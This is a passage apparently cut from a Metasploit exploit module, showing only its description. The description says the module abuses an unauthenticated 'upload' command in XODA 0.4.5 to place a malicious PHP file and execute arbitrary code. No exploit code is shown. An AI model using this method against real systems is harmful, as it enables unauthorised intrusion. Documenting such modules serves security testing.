'Description' => %q{  
This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers  
can abuse the "upload" command in order to upload a malicious PHP file without any  
authentication, which results in arbitrary code execution. The module has been  
tested successfully on XODA 0.4.5 and Ubuntu 10.04.
